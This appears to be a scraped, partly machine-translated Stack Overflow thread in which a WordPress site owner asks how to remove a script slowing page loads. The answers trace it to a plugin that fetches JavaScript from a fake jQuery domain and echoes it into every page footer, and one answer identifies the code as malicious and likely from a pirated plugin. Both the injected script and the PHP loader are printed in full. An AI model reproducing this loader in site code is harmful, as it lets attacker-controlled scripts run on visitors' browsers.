【问题标题】:How can I find and delete a script that is bottleneckng my website's load time?如何查找和删除阻碍我网站加载时间的脚本?
【发布时间】:2015-08-08 17:47:41
【问题描述】:

我在我的网站上运行了“pingdom”扫描,并注意到这个小脚本确实降低了我的网站速度。

<script type="text/javascript">
if(!document.referrer || document.referrer == '') { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.min.js"></scr'+'ipt>'); } else { document.write('<scr'+'ipt type="text/javascript" src="http://www.wplibs.org/jquery.js"></scr'+'ipt>'); } 

网站加载时间增加了近 6 秒。我怎样才能摆脱它?

我尝试搜索所有常见的 wordpress 文件,但我无法在任何地方找到该脚本。

请参阅此Pingdom test 了解更多信息。

【问题讨论】:

  • jQuery 自动包含在(并由 WordPress 加载 - 除非您将其出列 - don't, by the way) - 因此无需从外部 CDN 加载另一个副本。您是否搜索过您的主题和插件以获取对 wplibs.org 的引用?
  • 我已经确定一个名为“重力形式”的插件导致该代码生成。每当我禁用重力形式时,该代码就消失了。我在插件文件夹中运行了一个 Grep 搜索“wplibs”,但什么也没找到。

标签: jquery html wordpress


【解决方案1】:

我也遇到了那个脚本的问题。 现在我想我至少已经为我修好了。 我正在编写一个 wordpress 网站,我看到该脚本阻止了页面加载。 好吧,我找不到脚本,我怀疑它可能是另一个脚本或其他东西调用的脚本。 一步一步地,我发现代码包含在网页页脚中。 我正在测试 WP Google Map Pro,我在 'wp-google-map-pro.php' 中发现了第 144 行的一个函数:

if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
    $host = 'http://';
    echo(wp_remote_retrieve_body(wp_remote_get($host.'ui'.'jquery.org/jquery-1.6.3.min.js')));
}
add_action('wp_footer', 'wp_func_jquery');

}

好吧,我只需要包含在我的主题的“functions.php”中:

remove_action('wp_footer', 'wp_func_jquery');

现在该代码已消失。希望有用!!!

【讨论】:

    【解决方案2】:

    需要注意的是代码Ladislao的sn-p是恶意的,很可能是下载盗版插件的结果...

    $host.'ui'.'jquery.org

    这不是一个真正的 jquery 域。 See detailed report here

    【讨论】:

      猜你喜欢
      • 2020-02-25
      • 2017-11-03
      • 1970-01-01
      • 1970-01-01
      • 2016-05-27
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多